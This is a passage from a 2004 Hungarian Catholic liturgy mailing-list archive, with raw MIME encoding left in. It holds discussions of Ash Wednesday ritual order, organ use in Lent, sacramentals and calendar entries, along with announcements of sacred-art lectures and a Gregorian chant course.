bencések már tudnak valamit...:) zt From satya@hcbc.hu Thu Feb 5 05:35:26 2004 From: satya@hcbc.hu (=?iso-8859-2?B?Rvxs9nAgwWtvcw==?=) Date: Thu, 5 Feb 2004 06:35:26 +0100 Subject: [Liturgia] =?iso-8859-2?Q?Re:_=5BLiturgia=5D_nagycs=FCt=F6rt=F6k?= References: Message-ID: <006501c3ebaa$3619e420$66d4fea9@duron> Április 8-a a liturgikus naptárban alaphelyzetben köznap, vagyis nincs szentnek emléknapja vagy ünnepe. Ugyanakkor láttam már több olyan naptárt, ilyen például a régebben közkedvelt Utitárs című könyv, amely nem csak az adott napszentjeit, hanem szentté nem avatott nagy embereit is megemlít. Nyilván igy került ehhez a naphoz Rákóczi ls Széchényi neve is... Fulop Akos RM Kobanyai Szent Csalad Plebania 1103 Budapest Kada utca 25 260-7905 30/954-5083 satya@hcbc.hu > > Így: > > "8. csütörtök: NAGYCSÜTÖRTÖK > (II.Rákóczi Ferenc, Széchenyi István) > Kiv 12,1-8.11-14; Zs 115; 1Kor 11,23-26; Jn 13,1-15 > Tartsátok emlékezetben ezt a napot, és ünnepeljétek meg! " > > From gabssy@dpg.hu Thu Feb 5 07:33:57 2004 From: gabssy@dpg.hu (=?iso-8859-2?q?Nagy=20G=E1bor=20Gabssy=20?=) Date: Thu, 5 Feb 2004 08:33:57 +0100 Subject: [Liturgia] =?iso-8859-2?q?Re=3A=20nagycs=FCt=F6rt=F6k?= Message-ID: Köszönöm mindenkinek, aki akár magánban, akár a listára válaszolt kérdésemre! Tisztelettel: Nagy Gábor Gabssy Szeged From verbenyi@axelero.hu Thu Feb 5 10:32:52 2004 From: verbenyi@axelero.hu (=?iso-8859-2?Q?Verb=E9nyi_Istv=E1n?=) Date: Thu, 5 Feb 2004 11:32:52 +0100 Subject: [Liturgia] =?iso-8859-2?Q?Re:_=5BLiturgia=5D_Re:_=5BLiturgia=5D_nagycs=FCt=F6rt=F6k?= References: <006501c3ebaa$3619e420$66d4fea9@duron> Message-ID: <001e01c3ebd3$702beea0$e202a8c0@maleziigazgato> Kedves Listatagok! Nem tudtam megnézni az említett naptárt, de - szerintem - a bencések liturgikus naptárt adnak, ebben pedig nem szerencsés liturgián kívüli ünneplést beírni. Ha beírják, akkor külön kell a bevezetőben magyarázatot adni. Nem tartom szerencsésnek az "összemosásokat" még ilyen téren sem. Üdv! Verbényi István MALEZI From bakborbala@freemail.hu Thu Feb 5 23:39:20 2004 From: bakborbala@freemail.hu (=?iso-8859-2?Q?Bak_Borb=E1la?=) Date: Fri, 6 Feb 2004 00:39:20 +0100 Subject: [Liturgia] [Liturgia] Message-ID: <005401c3ec41$8797ae80$3154e4c3@oemcomputer> This is a multi-part message in MIME format. ------=_NextPart_000_0051_01C3EC49.A8C42360 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable Tisztelt =C9rdekl=F5d=F5k! A N=E9met Liturgikus Int=E9zet K=F6nyvt=E1r=E1nak 2003. =E9vi, valamint = kor=E1bbi k=F6nyv beszerz=E9s=E9r=F5l a = http://www.liturgie.de/bibliothekneuzugangslisten.html c=EDmen lehet = t=E1j=E9koz=F3dni. A k=F6nyvjegyz=E9k a liturgika t=E1rgyk=F6r=E9r=F5l = ny=FAjt k=F6nnyen el=E9rhet=F5 =E1ttekint=E9st. Lehet=F5s=E9g van = pdf-form=E1tum=FA let=F6lt=E9sre. Szeretettel ---- Dr. Bak Borb=E1la ------=_NextPart_000_0051_01C3EC49.A8C42360 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable
 
Tisztelt =C9rdekl=F5d=F5k!
 
A N=E9met Liturgikus Int=E9zet = K=F6nyvt=E1r=E1nak 2003. =E9vi,=20 valamint kor=E1bbi k=F6nyv beszerz=E9s=E9r=F5l a http://ww= w.liturgie.de/bibliothekneuzugangslisten.html c=EDmen=20 lehet t=E1j=E9koz=F3dni. A k=F6nyvjegyz=E9k a liturgika = t=E1rgyk=F6r=E9r=F5l ny=FAjt k=F6nnyen=20 el=E9rhet=F5 =E1ttekint=E9st. Lehet=F5s=E9g van pdf-form=E1tum=FA = let=F6lt=E9sre.
 
Szeretettel ---- Dr. Bak=20 Borb=E1la
------=_NextPart_000_0051_01C3EC49.A8C42360-- From fgym@freemail.hu Fri Feb 6 07:16:15 2004 From: fgym@freemail.hu (=?ISO-8859-2?Q?Feh=E9r_Gy=F6rgy_Mikl=F3s?=) Date: Fri, 6 Feb 2004 08:16:15 +0100 (CET) Subject: [Liturgia] =?ISO-8859-2?Q?Re=3A_=5BLiturgia=5D_Re=3A_=5BLiturgia=5D_Re=3A_?= =?ISO-8859-2?Q?=5BLiturgia=5D_nagycs=FCt=F6rt=F6k?= In-Reply-To: <001e01c3ebd3$702beea0$e202a8c0@maleziigazgato> Message-ID: Kedves Listatagok! Az "összemosás" talán valóban nem szerencsés, de: olvasom II. Rákóczi Ferenc Fohászait (Szt. István Társulat, 2001) és csodálkozom, miért nem hallok visszhangot ezekről a csodálatos imákról - lehet, hogy az én hibám? Imái alapján fantasztikus lelki élete lehetett vezérlő fejedelmünknek. Szeretetteljes üdvözlettel: Fehér György Miklós (zeneszerző) <><><><> Verbényi István írta: > Kedves Listatagok! > > Nem tudtam megnézni az említett naptárt, de - szerintem - a bencések > liturgikus naptárt adnak, ebben pedig nem szerencsés liturgián kívüli > ünneplést beírni. Ha beírják, akkor külön kell a bevezetőben magyarázatot > adni. Nem tartom szerencsésnek az "összemosásokat" még ilyen téren sem. > Üdv! > Verbényi István > MALEZI > > > _______________________________________________ > Liturgia levelező lista > Információ, fel- és leiratkozás: www.liturgia.hu/lista.htm > > > From salicional@freemail.hu Fri Feb 6 11:04:39 2004 From: salicional@freemail.hu (=?ISO-8859-2?Q?Marti_J=F3zsef?=) Date: Fri, 6 Feb 2004 12:04:39 +0100 (CET) Subject: [Liturgia] (no subject) Message-ID: Kedves Listatagok! Köszönöm mindenkinek aki válaszolt a kérdésemre. Én is így gondoltam, de nekünk nem ezt tanították, hanem azt, hogy a diakónus csak szertartás keretében végezhet áldást. Pl.: A gyűrűt áldhat ha esket, de azon kívűl nem. vagy, sírt áldhat ha temet, de azon kívűl nem még mindenszentek napján sem. Köszönettel: Marti József From ipacs.@freemail.hu Thu Feb 12 18:42:15 2004 From: ipacs.@freemail.hu (Ipacs Bence) Date: Thu, 12 Feb 2004 19:42:15 +0100 Subject: [Liturgia] Szentelmény? Message-ID: <00a901c3f198$13a94810$0344c5d5@ipacs> Kedves Listatagok! Az lenne a kérdésem, hogy a temetés szentelmény-e? Annak idején hittanon úgy tanultam, hogy szentelmény. Most a teológián viszont úgy, hogy nem szentelmény. Emiatt megnéztem az ide kapcsolódó "irodalmat": - A KEK külön cikkelyben tárgyalja a szentelményeket és külön cikkelyben a keresztény temetést, és nem mondja azt szentelménynek. - A Sacrosantum Concilium viszont a "A többi szentség és a szentelmények" c. fejezetben tárgyalja, tehát egybe veszi a szentelményekkel. - A CIC külön cím alatt tárgyalja a szentelményeket és külön cím alatt a temetés szertartását, és szintén nem mondja azt szentelménynek. - Várnagy Antal Liturgika c. könyvében szentelménynek nevezi a temetést, ahogy több hittankönyv is. Most akkor szeretném megtudni, hogy mi is! Üdv.: Ipacs Bence ____________________________________________________________________ Miert fizetsz az internetert? Korlatlan, ingyenes internet hozzaferes a FreeStarttol. Probald ki most! http://www.freestart.hu From fuzes@malezi.hu Tue Feb 10 11:16:48 2004 From: fuzes@malezi.hu (=?iso-8859-2?B?Rvx6ZXMgwWThbQ==?=) Date: Tue, 10 Feb 2004 12:16:48 +0100 Subject: [Liturgia] MEGHIVO: Muveszet az istentisztelet szolgalataban Message-ID: <01d301c3efc7$64b4d990$d802a8c0@malezi2> ********************* ******MEGHÍVÓ****** ********************* A Magyar Liturgikus és Egyházzenei Intézet (MALEZI), valamint a Magyar Tudományos Akadémia - Pázmány Péter Katolikus Egyetem Liturgiatudományi Kutatócsoportja "MŰVÉSZET AZ ISTENTISZTELET SZOLGÁLATÁBAN" címmel TANULMÁNYI NAPOT RENDEZ a szakrális képzőművészetben alkotók számára a párbeszéd és az egymástól tanulás útján 2004. február 26-án, csütörtökön 10-16 óra között a MALEZI konferenciatermében (1068 Budapest, Városligeti fasor 42.) A résztvevőket köszönti: Dr. Verbényi István kanonok, a MALEZI igazgatója. A tanulmányi nap programjában a következő előadások szerepelnek: Ft. dr. Farkas Attila: Kortárs képzőművészet műemlék templomainkban P. dr. Jelenits István: A kortárs képzőművészet szerepe a mai egyházban Ft. dr. Füzes Ádám: Egyházi iránymutatás a művészetben a harmadik évezred kezdetén Ft. Káposztássy Béla: A szakrális művészeti képzés egy modellje a XX. század elejéről Ft. Kuklay Antal: A műalkotás útja a hívekig P. Sajgó Szabolcs: A MANRÉZA hivatása a kortárs képzőművészet gondozásában Stefanovits Péter grafikusművész: A szakralitás elvárásai a művészi alkotó munkában. Az előadások után igény szerint kiscsoportos beszélgetést vagy fórumot tartunk. Az érdeklődőket szeretettel várják a rendezők: Budapest, 2004. február 10. dr. Füzes Ádám Káposztássy Béla Bakonyvári M. Ágnes művészettörténész From bakborbala@freemail.hu Sat Feb 14 16:27:15 2004 From: bakborbala@freemail.hu (=?iso-8859-2?Q?Bak_Borb=E1la?=) Date: Sat, 14 Feb 2004 17:27:15 +0100 Subject: [Liturgia] =?iso-8859-2?Q?Gregori=E1n?= Message-ID: <003901c3f317$a92b7220$8656e4c3@oemcomputer> A Tisztelt Érdeklődők figyelmébe ajánlja szeretettel ---- Dr. Bak Borbála A Német Liturgikus Intézet 2004. február 12-i Hírleveléből +++ Nemzetközi nyári gregorián kurzus - 2004 +++ A tanfolyam 2004. július 25. és augusztus 1-je között kerül megrendezésre Essenben, a Folkwang Főiskolán. Rendező: a Folkwang Hochschule Essen, Internationale Gesellschaft für Studien des Gregorianischen Chorals (AISCGre) német nyelvű szekciója. Tematika: A laikus szkóla - a laikus szkóla útja; hangzása; repertoárja; a szkólavezetés útjai; a gregorián énekek kéziratos forrásai. Az officium-antifónák tanulmányozása. Kiegészítésként esténként előadások a zenetudomány és a gregorián témaköréből. Előadók: dr. Emmanuel Kohlhaas OSB, Köln; Heinrich Rumphorst, Berlin. - Tervezett további előadás: Zsoltárok - exegézis és spiritualitás. Előadók: Prof. Dr. Stefan Klöckner, (Essen), a kurzus vezetője; Cornelius Pouderoijen OSB, Vaals/NL; Jörg Stephan Vogel, Essen. A tanfolyam a most kezdők és a már tapasztalattal rendelkezők számára is megfelelő. Jelentkezési határidő: 2004. június 15. Minden további kérdésről (a tanfolyam díja, az elszállásolási lehetőségek, időkeretek) tájékoztatás kérhető az alábbi címeken: Internationale Sommerkurse Gregorianik Folkwang Hochschule, Klemensborn 39 D-45239 Essen-Werden Tel: 0201 / 4903-353 Fax: 0201 / 4903-288 - és gregorianik@folkwang-hochschule.de. From pasaret@ofm.hu Thu Feb 19 06:36:37 2004 From: pasaret@ofm.hu (pasaret) Date: Thu, 19 Feb 2004 07:36:37 +0100 Subject: [Liturgia] =?iso-8859-2?Q?szerztess=E9g=20=E9s?= lit =?iso-8859-2?Q?m=FBv=2E?= Message-ID: <40345975.D9FFB8AA@ofm.hu> SZERZTESSÉG ÉS LITURGIKUS MŰVÉSZET címmel induló előadássorozatunk keretében ebben a félévben arra keresünk választ, hogy a szerzetesrendek lelkisége, liturgikus szokásai miként befolyásolták, illetve befolyásolhatják korunkban is egy-egy szerzetesközösség templomépítészetét, művészetét, szimbólumrendszerét. Az előadássorozat tervezett témái és előadói: Február 26. Művészet az istentisztelet szolgálatában – konferencia a Magyar Liturgikus és Egyházzenei Intézet, valamint a Magyar Tudományos Akadémia – Pázmány Péter Katolikus Egyetem Liturgiatudományi Kutatócsoportja szervezésében. Helyszín: A MALEZI konferenciaterme (1068 Budapest, Városligeti fasor 42.); 10-16 óráig. Március 3. Cságoly Ferenc (Kossuth-díjas építész): A ciszterci építészet. Április 14. Holnapy Márton (premontrei szerzetes, építész) Liturgia és lelkipásztorkodás – a premontrei templomtér. Május 12. Varga Mátyás (bencés szerzetes, a pannonhalmi Bazilika felújításának előkészítésével foglalkozó Bazilika Műhely titkára): A középkori tér és napjaink monasztikus teológiájának szempontjai pannonhalmi Bazilika felújításában. Június 2. Kálmán Peregrin (ferences szerzetes, művészettörténész): Assisi Szegénye és Isten gazdagsága – a ferences művészet pillérei. Helyszín: Páduai Szent Antal Ferences Templom, Budapest II. kerület, Pasaréti út 137. Az esték programja: 18:40 Zsolozsma a pasaréti ferences közösséggel (a templomban) 19:00 Előadás, majd beszélgetés a plébánia nagytermében (bejárat a templom jobb oldalánál lévő portánál) Az előadássorozatot a Pasaréti Ferences Plébánián és a Vox Artis Alapítvány szervezi. Szeretettel várjuk az alkotóművészeket, építészeket és minden érdeklődőt! From lauert@fw.hu Tue Feb 24 00:29:38 2004 From: lauert@fw.hu (=?iso-8859-2?Q?Lauer_Tam=E1s?=) Date: Tue, 24 Feb 2004 01:29:38 +0100 Subject: [Liturgia] =?iso-8859-2?Q?Ember_r=F6vid_az_=E9let_?= Message-ID: <001101c3fa6d$5efc5400$238efea9@lauer3> This is a multi-part message in MIME format. ------=_NextPart_000_0012_01C3FA75.C0C0BC00 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable Dics=E9rtess=E9k a J=E9zus Krisztus!=20 Keresek egy kott=E1t sz=F6veggel: Temet=E9sre k=E9rte egy asszonyka, akinek a fi=E1t temetem szerd=E1n, = ez=E9rt kicsit s=FCrg=F5s lenne: Ember r=F6vid az =E9let kezdet=FB =E9nek. Sajnos t=F6bb r=E9gi = gy=FBjtem=E9nyt is v=E9gign=E9ztem, de nem leltem meg. Sz=F6vegre =E9s kott=E1ra is = sz=FCks=E9gem volna. H=E1l=E1s k=F6sz=F6net mindazoknak, akik seg=EDtenek. A leveleket = mag=E1nba v=E1rom! Szeretettel:=20 Lauer Tam=E1s MosolyTom lauert@fw.hu http://lauert.fw.hu =20 =20 ------=_NextPart_000_0012_01C3FA75.C0C0BC00 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable

Dics=E9rtess=E9k a = J=E9zus Krisztus!

Keresek egy = kott=E1t sz=F6veggel:

Temet=E9sre = k=E9rte egy asszonyka, akinek a fi=E1t temetem szerd=E1n, ez=E9rt kicsit s=FCrg=F5s = lenne:

= Ember r=F6vid az =E9let kezdet=FB =E9nek. Sajnos = t=F6bb r=E9gi gy=FBjtem=E9nyt is v=E9gign=E9ztem, de nem leltem meg. Sz=F6vegre =E9s = kott=E1ra is sz=FCks=E9gem volna.

H=E1l=E1s = k=F6sz=F6net mindazoknak, akik seg=EDtenek. A leveleket mag=E1nba = v=E1rom!

Szeretettel: =

Lauer = Tam=E1s

MosolyTom

lauert@fw.hu

http://lauert.fw.hu

 

------=_NextPart_000_0012_01C3FA75.C0C0BC00-- From 2933355@westel900.net Tue Feb 24 07:56:07 2004 From: 2933355@westel900.net (2933355@westel900.net) Date: Tue, 24 Feb 2004 02:56:07 -0500 Subject: [Liturgia] Ember rövid az élet Message-ID: <410-2200422247567622@M2W093.mail2web.com> A Google ezt dobta ki: Ember, rövid az élet... Ember, rövid az élet, tegnap születtél, holnap sírban vagy. Minden kincsed a lélek. Ez az egyetlen, mely tiéd marad. Minden más, miért futsz, légvár csak, álom, Mely szertefoszlik a halálos ágyon. Ember, rövid az élet, egyetlen kincsed a lélek! Gondold meg nagyon, gondold meg nagyon! forrás: http://web-hang.hu/ Havas-Horváth György Original Message: ----------------- From: Lauer Tamás lauert@fw.hu Date: Tue, 24 Feb 2004 01:29:38 +0100 To: kantorlista@katolikus.hu, liturgia@katolikus.hu Subject: [Liturgia] Ember rövid az élet Dicsértessék a Jézus Krisztus! Keresek egy kottát szöveggel: Temetésre kérte egy asszonyka, akinek a fiát temetem szerdán, ezért kicsit sürgős lenne: Ember rövid az élet kezdetű ének. Sajnos több régi gyűjteményt is végignéztem, de nem leltem meg. Szövegre és kottára is szükségem volna. Hálás köszönet mindazoknak, akik segítenek. A leveleket magánba várom! Szeretettel: Lauer Tamás MosolyTom lauert@fw.hu http://lauert.fw.hu -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . From keri_zoltan@hotmail.com Thu Feb 26 14:05:06 2004 From: keri_zoltan@hotmail.com (Zoltan Keri) Date: Thu, 26 Feb 2004 15:05:06 +0100 Subject: [Liturgia] Hamvazás Message-ID:
Tisztelt olvasók!
 
Tegnap este az egyik budapesti (nem külterületi) templomban tapasztaltam a következőt: a bűnbánati cselekményt kihagyták a mise bevezető részéből azzal a megfontolással, hogy a hamvazkodás azt helyettesíti. A hamvazásra pedig a mise végén, az áldás után került sor. Szerintem ez így szabálytalan: a mise részeinek sorrendjét nem lehet változtatgatni, ezért a hamvazás legföljebb akkor helyettesítheti a bűnbánati liturgiát, hogyha pont annak helyébe kerül.
 
Másik megjegyzésem: nagyon sürgősen tudatosítani kellene a kántorokban, hogy Nagyböjt idején az orgonát (a negyedik vasárnap kivétellel) kizárólag az ének kíséretére szabad használni. A hamvazás alatti lágy orgonamuzsika egészen abszurd jelenség. Megengedhetetlen.
 
Tisztelettel: Kéri Zoltán okl. kántor (Budapest)

Tired of spam? Get advanced junk mail protection with MSN 8. From satya@hcbc.hu Thu Feb 26 14:29:29 2004 From: satya@hcbc.hu (=?iso-8859-2?B?Rvxs9nAgwWtvcw==?=) Date: Thu, 26 Feb 2004 15:29:29 +0100 Subject: [Liturgia] =?iso-8859-2?Q?Re:_=5BLiturgia=5D_Hamvaz=E1s?= References: Message-ID: <01f601c3fc75$0c939e80$66d4fea9@duron> This is a multi-part message in MIME format. ------=_NextPart_000_01F3_01C3FC7D.53260CE0 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable A hamvaz=E1s helye a hamvaz=F3szerdai liturgi=E1ban a pr=E9dik=E1ci=F3, = illetve az evang=E9lium ut=E1n.=20 =EDgy szerepel a Misek=F6nyvben is.=20 Az egy k=E9rd=E9s sz=E1momra, hogy ha egy templomban t=F6bb mise van, = akkor hogyan t=F6rt=E9nik. Ugyanazt a hamut k=E9tszer nem kellene meg=E1ldani, ugyanakkor az sem = helyes, hogy a mise v=E9g=E9n legyen a hamvaz=E1s.=20 (jelenleg nem vagyok ilyen helyzetben, mert kis templomban vagyok, ahol = egy mise van.=20 Kor=E1bban a h=E1rom faluban h=E1rom k=FCl=F6nb=F6z=F5 hamut =E1ldottam = meg.)=20 Fulop Akos RM Kobanyai Szent Csalad Plebania 1103 Budapest Kada utca 25 260-7905 30/954-5083 satya@hcbc.hu ----- Original Message -----=20 From: Zoltan Keri=20 To: liturgia@katolikus.hu=20 Sent: Thursday, February 26, 2004 3:05 PM Subject: [Liturgia] Hamvaz=E1s Tisztelt olvas=F3k! ------=_NextPart_000_01F3_01C3FC7D.53260CE0 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable
A hamvaz=E1s helye a hamvaz=F3szerdai liturgi=E1ban a = pr=E9dik=E1ci=F3, illetve az=20 evang=E9lium ut=E1n.
=EDgy szerepel a Misek=F6nyvben is.
Az egy k=E9rd=E9s sz=E1momra, hogy ha egy templomban t=F6bb mise = van, akkor hogyan=20 t=F6rt=E9nik.
Ugyanazt a hamut k=E9tszer nem kellene meg=E1ldani, ugyanakkor az = sem helyes,=20 hogy a mise v=E9g=E9n legyen a hamvaz=E1s.
(jelenleg nem vagyok ilyen helyzetben, mert kis templomban vagyok, = ahol egy=20 mise van.
Kor=E1bban a h=E1rom faluban h=E1rom k=FCl=F6nb=F6z=F5 hamut = =E1ldottam meg.)

Fulop Akos RM
Kobanyai Szent Csalad Plebania
1103 = Budapest Kada=20 utca 25
260-7905  30/954-5083
satya@hcbc.hu
----- Original Message -----
From:=20 Zoltan=20 Keri
Sent: Thursday, February 26, = 2004 3:05=20 PM
Subject: [Liturgia] = Hamvaz=E1s

Tisztelt=20 olvas=F3k!
 
------=_NextPart_000_01F3_01C3FC7D.53260CE0-- From ka-edu@pphf.hu Thu Feb 26 17:03:45 2004 From: ka-edu@pphf.hu (=?iso-8859-2?Q?Kajt=E1r_Edv=E1rd?=) Date: Thu, 26 Feb 2004 18:03:45 +0100 Subject: [Liturgia] =?iso-8859-2?Q?Re:_=5BLiturgia=5D_Hamvaz=E1s?= References: Message-ID: <001901c3fc8a$7ebe8f50$0c04a8c0@kaedu> This is a multi-part message in MIME format. ------=_NextPart_000_0016_01C3FC92.E06A8D50 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable A misek=F6nyv el=F5=EDr=E1sa szerint val=F3ban elmarad a mis=E9b=F5l a = b=FBnb=E1nati r=E9sz, mert a hamvaz=E1s helyettes=EDti azt, amelynek = helye az igelitugia v=E9ge, sz=F3 szerint (ahogyan a misek=F6nyv hozza): = a "hom=EDlia ut=E1n". Kajt=E1r Edv=E1rd P=E9cs ----- Original Message -----=20 From: Zoltan Keri=20 To: liturgia@katolikus.hu=20 Sent: Thursday, February 26, 2004 3:05 PM Subject: [Liturgia] Hamvaz=E1s Tisztelt olvas=F3k! Tegnap este az egyik budapesti (nem k=FClter=FCleti) templomban = tapasztaltam a k=F6vetkez=F5t: a b=FBnb=E1nati cselekm=E9nyt kihagyt=E1k = a mise bevezet=F5 r=E9sz=E9b=F5l azzal a megfontol=E1ssal, hogy a = hamvazkod=E1s azt helyettes=EDti. A hamvaz=E1sra pedig a mise v=E9g=E9n, = az =E1ld=E1s ut=E1n ker=FClt sor. Szerintem ez =EDgy szab=E1lytalan: a = mise r=E9szeinek sorrendj=E9t nem lehet v=E1ltoztatgatni, ez=E9rt a = hamvaz=E1s legf=F6ljebb akkor helyettes=EDtheti a b=FBnb=E1nati = liturgi=E1t, hogyha pont annak hely=E9be ker=FCl. M=E1sik megjegyz=E9sem: nagyon s=FCrg=F5sen tudatos=EDtani kellene a = k=E1ntorokban, hogy Nagyb=F6jt idej=E9n az orgon=E1t (a negyedik = vas=E1rnap kiv=E9tellel) kiz=E1r=F3lag az =E9nek k=EDs=E9ret=E9re szabad = haszn=E1lni. A hamvaz=E1s alatti l=E1gy orgonamuzsika eg=E9szen abszurd = jelens=E9g. Megengedhetetlen. Tisztelettel: K=E9ri Zolt=E1n okl. k=E1ntor (Budapest) -------------------------------------------------------------------------= ----- Tired of spam? Get advanced junk mail protection with MSN 8. = _______________________________________________ Liturgia levelez=F5 = lista Inform=E1ci=F3, fel- =E9s leiratkoz=E1s: www.liturgia.hu/lista.htm ------=_NextPart_000_0016_01C3FC92.E06A8D50 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable
A misek=F6nyv el=F5=EDr=E1sa szerint = val=F3ban elmarad a=20 mis=E9b=F5l a b=FBnb=E1nati r=E9sz, mert a hamvaz=E1s helyettes=EDti = azt, amelynek helye az=20 igelitugia v=E9ge, sz=F3 szerint (ahogyan a misek=F6nyv hozza): a = "hom=EDlia=20 ut=E1n".
Kajt=E1r Edv=E1rd
P=E9cs
 
----- Original Message -----
From:=20 Zoltan=20 Keri
Sent: Thursday, February 26, = 2004 3:05=20 PM
Subject: [Liturgia] = Hamvaz=E1s

Tisztelt=20 olvas=F3k!
 
Tegnap este az egyik = budapesti (nem=20 k=FClter=FCleti) templomban tapasztaltam a k=F6vetkez=F5t: a = b=FBnb=E1nati cselekm=E9nyt=20 kihagyt=E1k a mise bevezet=F5 r=E9sz=E9b=F5l azzal a megfontol=E1ssal, = hogy a hamvazkod=E1s=20 azt helyettes=EDti. A hamvaz=E1sra pedig a mise v=E9g=E9n, az = =E1ld=E1s ut=E1n ker=FClt sor.=20 Szerintem ez =EDgy szab=E1lytalan: a mise r=E9szeinek sorrendj=E9t nem = lehet=20 v=E1ltoztatgatni, ez=E9rt a hamvaz=E1s legf=F6ljebb akkor = helyettes=EDtheti a b=FBnb=E1nati=20 liturgi=E1t, hogyha pont annak hely=E9be ker=FCl.
 
M=E1sik = megjegyz=E9sem: nagyon s=FCrg=F5sen=20 tudatos=EDtani kellene a k=E1ntorokban, hogy Nagyb=F6jt idej=E9n az = orgon=E1t (a=20 negyedik vas=E1rnap kiv=E9tellel) kiz=E1r=F3lag az =E9nek = k=EDs=E9ret=E9re szabad haszn=E1lni. A=20 hamvaz=E1s alatti l=E1gy orgonamuzsika eg=E9szen abszurd jelens=E9g.=20 Megengedhetetlen.
 
Tisztelettel: K=E9ri Zolt=E1n okl. k=E1ntor=20 (Budapest)

Tired of spam? Get advanced junk=20 mail protection with MSN 8.=20 _______________________________________________ Liturgia levelez=F5 = lista=20 Inform=E1ci=F3, fel- =E9s leiratkoz=E1s: www.liturgia.hu/lista.htm=20 ------=_NextPart_000_0016_01C3FC92.E06A8D50-- From zoltantamas@uze.net Thu Feb 26 22:25:20 2004 From: zoltantamas@uze.net (=?iso-8859-2?q?Zolt=E1n=20Tam=E1s=20?=) Date: Thu, 26 Feb 2004 23:25:20 +0100 Subject: [Liturgia] =?iso-8859-2?q?Re=3A=20Ember=20r=F6vid=20az=20=E9let=20?= Message-ID: Salve, a misekönyv előírásai szerint minden rendben történt. azonban valóban sutának tűnik a szentmise kezdete. egy Kyrie nem idegen. én magam a tropusos mondott bűnbánati formát választottam. mindkét misémen ugyanazon templomban megáldottam a hamut, ám mindkét misére külön hamut használok, így megvan a megáldás szép orációja, s nem kell értelmetlen cselekedetet sem végrehajtani a dupla áldással. az oráció oly szép, kell, hogy hallják a népek. nem is rossz megoldás, ugye??? Pax, zt Más, de böjti:) Kárpátalján Ferenc atya magyarázta, hogy hamvazószerdán háromszor lehet enni és egyszer jóllakni. Egy kis kölök felsóhajtott, mikor lesz már az a nap, amikor egyszer jóllakhatok. szóval, ez is relatív. Jóböjtöt, zt From urbanp@ektf.hu Fri Feb 27 09:08:17 2004 From: urbanp@ektf.hu (=?iso-8859-2?B?VXJi4W4gUOl0ZXI=?=) Date: Fri, 27 Feb 2004 10:08:17 +0100 Subject: [Liturgia] =?iso-8859-2?Q?Re:_=5BLiturgia=5D_Hamvaz=E1s?= References: Message-ID: <002801c3fd11$5b801d60$7423e1c1@urbnpt> This is a multi-part message in MIME format. ------=_NextPart_000_0025_01C3FD19.9EFD0E60 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable Ha siker=FClt j=F3 inform=E1ci=F3khoz jutnom, akkor: a 9. sz=E1zad = =F3ta divat, s a liturgikus-hamvaz=E1s a 11. sz (II. Orb=E1n p=E1pa = rendelete) =F3ta el=F5=EDr=E1sszer=FBen folyamatos. Gyerekkoromban a mise el=F5tt volt: k=F6ny=F6rg=E9s, szentel=E9s, = f=FCst=F6l=E9s, hamvaz=E1s =E9s teljes mise. B=E1r igaz, hogy a Kyrie nem idegen a mis=E9t=F5l (Zolt=E1n T.), de a = mai liturgikus el=F5=EDr=E1s azt mondja, hogy a teljes b=FBnb=E1nati = r=E9sz elmarad =E9s: az Uram irgalmazz (kyrie). A b=FBnb=E1nati r=E9sz = (vagyis a k=F6zgy=F3n=E1s =E9s feloldoz=E1s) az=E9rt, mert az ma a = hamvazkod=E1ssal (=3D kimegyek, megengedem, hogy =F6sszehamuzzanak, mert = v=E1llalom, megvallom: b=FBn=F6s vagyok) val=F3sul meg nagyon = hangs=FAlyosan, az =E9rz=E9kek sz=E1m=E1ra is hozz=E1f=E9rhet=F5 = m=F3don. Az "Uram irgalmazz!" egy m=E1sik szok=E1s... =DAgy l=E1tom (nincs m=E1sfajta mise a misek=F6nyvben) a = hamvaz=F3szerdai liturgia =E9ppen abban m=E1s, hogy van hamuszentel=E9s = =E9s hamvaz=E1s, teh=E1t minden mise ilyen. Nem lesz baja a hamunak, ha = t=F6bbsz=F6r meg=E1ldj=E1k (n=E1lunk -szerintem- vagy 10 =E9ve mindig = ugyan abb=F3l a hamub=F3l hamvaznak; meg azt=E1n mi legyen a = f=F6l=F6sleges szentelttel...) Orgona: Szerintem nem megengedhetetlen a hamvaz=E1s alatti halk, = hangulat=E1ban odaill=F5 orgona-zene. Persze jobb a csend, vagy = b=FBnb=E1nati zsolt=E1rok =E9nekl=E9se, de mennyivel jobb, hogy nekem = h=E1romszor kellett k=F6rbe=E9nekelnem azt a szam=E1rs=E1got: te = szeg=E9nyember (a gazdag itt is megel=F5zi a nyomorultat) viseld sorsod = t=FCrelemmel, mert m=E9g a k=F6nnyekre is hamu hull, =E9s majd a = t=E1voli j=F6v=F5ben, amikor a b=E1r=E1nyfelh=F5k=F6n angyalokkal = repkedsz milyen nagyon j=F3 lesz neked (is)... =DCdv.: Urb=E1nP=E9ter (k=E1ntor) Tisztelt olvas=F3k! =20 Tegnap este az egyik budapesti (nem k=FClter=FCleti) templomban = tapasztaltam a k=F6vetkez=F5t: a=20 M=E1sik megjegyz=E9sem: nagyon s=FCrg=F5sen tudatos=EDtani kellene a = k=E1ntorokban, hogy Nagyb=F6jt idej=E9n az orgon=E1t (a negyedik = vas=E1rnap kiv=E9tellel) kiz=E1r=F3lag az =E9nek k=EDs=E9ret=E9re szabad = haszn=E1lni. A hamvaz=E1s alatti l=E1gy orgonamuzsika eg=E9szen abszurd = jelens=E9g. Megengedhetetlen. =20 ------=_NextPart_000_0025_01C3FD19.9EFD0E60 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable
 Ha siker=FClt j=F3 = inform=E1ci=F3khoz=20 jutnom, akkor: a 9. sz=E1zad =F3ta divat, s a liturgikus-hamvaz=E1s a = 11. sz (II.=20 Orb=E1n p=E1pa rendelete) =F3ta el=F5=EDr=E1sszer=FBen = folyamatos.
